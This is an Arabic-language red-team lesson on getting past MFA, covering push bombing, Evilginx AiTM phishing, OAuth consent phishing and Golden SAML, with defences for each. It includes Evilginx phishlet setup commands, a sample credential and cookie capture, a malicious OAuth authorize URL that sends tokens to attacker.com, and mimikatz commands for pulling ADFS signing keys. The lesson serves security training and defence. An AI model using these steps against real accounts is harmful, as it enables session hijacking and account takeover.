الفرق الحمراء — الهجومخبير85mL38

MFA / SAML / OAuth Attacks — لما الحماية بتلف عليك

MFA fatigue و Evilginx و token theft و Golden SAML

#MFA#SAML#OAuth#Evilginx#Token Theft

ليه MFA مش معناها انتهى الهجوم؟

تشبيه — شرح مبسط
ركّبت MFA على كل حاجة، خلاص؟ خلصنا؟ المهاجم يعمل إيه طب، يقعد يعيّط؟

بُص. الـ MFA الكلاسيكي بيقفل 99٪ من الـ phishing. ده رقم حقيقي، مش marketing. طب اللي فاضل؟ الـ AiTM. والـ MFA fatigue. وسرقة الـ session token. الضحية بتدخّل الكود طبيعي، والكوكي بتروح للمهاجم. ومحدش حسّ.

في 2022-2024، أكبر اختراقات الشركات (Uber، MGM، Cisco، Microsoft نفسها في حادثة Midnight Blizzard) ما عدّوش الـ password — عدّوا الـ MFA.
في حادثة Uber، 18 سنة، عيّل، ضغط push 50 مرة على مسؤول الـ infra، وكتبله "أنا من IT لو سمحت اقبلها".
ووافق.
مش عبقرية تقنية — هندسة اجتماعية وضحية تعبت من الإشعارات.

الدرس ده هيغطي 4 محاور: MFA fatigue، Adversary-in-the-Middle مع Evilginx، token theft، و Golden SAML.

غلطات الـ junior في كسر MFA

اللي بيحصل فعلياً في أول engagement
  • يفتكر إن "MFA متفعّل" يعني "الحساب آمن". لا. الـ MFA Type مهم. SMS مش زي TOTP مش زي FIDO2.
  • يبعت 200 push notification في 5 دقايق. الـ SOC بيشوف الـ pattern قبل ما الضحية يوافق.
  • يستخدم Evilginx من غير ما يضبط الـ phishlet كويس، فالموقع يبقى مكسوف ومحدش بيدخّل بياناته.
  • ينسى يسرق الـ refresh token، فلما الـ session تنتهي، يرجع تاني للصفر.

1. MFA Fatigue / Push Bombing

المهاجم عارف الـ password. بيدوس "تسجيل دخول" 50 مرة. الضحية بيوصله 50 push notification في 10 دقايق، وبيوافق على واحدة منهم علشان الإشعارات تسكت. ده بالظبط اللي حصل لـ Uber في سبتمبر 2022.

bash
# سيناريو متكرر:
1. credentials من phishing أو credential stuffing
2. تسجيل دخول → MFA push يطلق
3. تكرار كل 30 ثانية لمدة ساعة
4. الضحية يضغط Approve ليصمت الإشعار
5. session token يخرج للمهاجم
الحماية
  • Number Matching (Microsoft, Okta): الضحية يدخل رقم يظهر على شاشة تسجيل الدخول
  • تقييد عدد محاولات MFA per hour
  • تنبيه على push من IP غير معتاد
  • الانتقال إلى FIDO2 / passkeys (لا تسأل المستخدم، توقع شيء فقط)

2. Adversary-in-the-Middle مع Evilginx

01
إيه هو AiTM phishing؟
مش صفحة phishing عادية. ده reverse proxy بين الضحية وMicrosoft / Okta الحقيقي. الضحية بيكتب الـ password، بيعمل MFA حقيقي، وEvilginx بيلمّ الـ session cookie اللي راجع.
02
آلية العمل
text
Victim → evilginx.attacker.com → real Microsoft Login
                ↓                         ↓
          credentials caught       MFA challenge passes through
                ↓                         ↓
          MFA code caught          real session cookie returned
                ↓
          attacker uses cookie → fully authenticated session
          (لا يحتاج كلمة المرور أو MFA مرة أخرى)
03
إعداد phishlet
bash
# Evilginx 3.x
evilginx2 -p ./phishlets

[evilginx] config domain login-corp.example
[evilginx] phishlets hostname o365 login-corp.example
[evilginx] phishlets enable o365
[evilginx] lures create o365
[evilginx] lures get-url 0
# https://login-corp.example/auth?lure_id=...
04
ما يصل للمهاجم
$ # After victim signs in
[+] CREDS: john.doe@target.gov / Spring2024! [+] COOKIES: ESTSAUTHPERSISTENT=0.AS... [+] SESSION saved: john.doe.session.json
$ # Replay the cookie in Cookie Editor extension
[+] Logged in as john.doe@target.gov — no password, no MFA
الحماية
  • FIDO2 / WebAuthn: مرتبط بنطاق الـ origin، لا يعمل على evilginx domain
  • Conditional Access: device compliance + IP location
  • Token Protection (Azure AD): cookie مرتبط بالجهاز
  • كشف phishing domains via certificate transparency monitoring (crt.sh على نطاقك المشتق)

3. OAuth Consent Phishing

لا تطلب كلمة المرور — اطلب من الضحية أن يمنح تطبيقك صلاحيات على حسابه. في Microsoft 365، هذا يفتح قراءة البريد، الملفات، والبريد المرسل، حتى بعد تغيير كلمة المرور.

text
Phishing email:
"Click to view shared report"
↓
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
  ?client_id=<EVIL_APP>
  &response_type=code
  &scope=Mail.Read Files.ReadWrite User.Read offline_access
  &redirect_uri=https://attacker.com/callback

Victim sees: "Cool Reports App wants to access your mailbox"
Victim clicks Accept
→ Attacker gets refresh token good for 90 days
الحماية
  • Admin consent للتطبيقات بصلاحيات حساسة
  • Block unverified publishers
  • راقب OAuth grants — Sentinel rule على Microsoft.Graph events
  • Quarterly review لكل enterprise application في tenant

4. Golden SAML

لو سرقت private key لـ ADFS / Okta signing certificate، تستطيع توقيع SAML response لأي مستخدم، بأي صلاحيات، تنتهي عند أي وقت تريد. هذا ما حدث في SolarWinds: ADFS keys سُرقت ثم استخدمت لتسجيل دخول إلى cloud apps دون أي تنبيه.

powershell
# ADFS service account → token signing key
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # vault::cred /patch
# يستخرج private key من Microsoft.IdentityServer service
الحماية
  • HSM للـ ADFS signing keys (لا يمكن استخراجها برمجياً)
  • تقصير عمر SAML tokens (15 دقيقة بدلاً من 8 ساعات)
  • Conditional Access على cloud apps حتى مع SAML صحيح
  • راقب unusual SAML claims (admin role غير معتاد)
تحذير قانوني
بناء phishing domains، أو إرسال إيميل، أو سرقة tokens من نظام مش بتاعك = جرايم فيدرالية متعددة. كل مثال هنا مكانه معملك أنت ومعاه authorization مكتوب.

الخلاصة الناشفة

MFA مش حل سحري. هو طبقة، ومعاها طبقات تانية لازم تبقى موجودة.
لو الـ MFA بتاعك SMS أو push approval بسيط، فإنت متحصّن على ورق بس. ده مش defense، ده تمثيل defense.
FIDO2 / Passkeys هو اللي بيقفل AiTM فعلاً. غيره كله compromise.

الـ junior بيقول: "MFA متفعّل، خلصنا".
المحترف بيسأل: "MFA إيه؟ على إيه؟ مين معفي منه؟ وإمتى آخر مرة راجعنا الـ Conditional Access policies؟"

اكتبها على ظهر إيدك يا مستجد: لو حساب حساس عندك مش على Passkeys في 2026، فإنت مش بتدافع — إنت بتتفرج.

مصادر

  • Microsoft Security — Threat Intelligence on AiTM
  • Mandiant — UNC2452 / Solorigate (Golden SAML)
  • Push Security — AiTM toolkit research
  • SpecterOps — Token Tactics on Azure
  • MITRE ATT&CK — T1556.005 Reverse Proxy MFA Bypass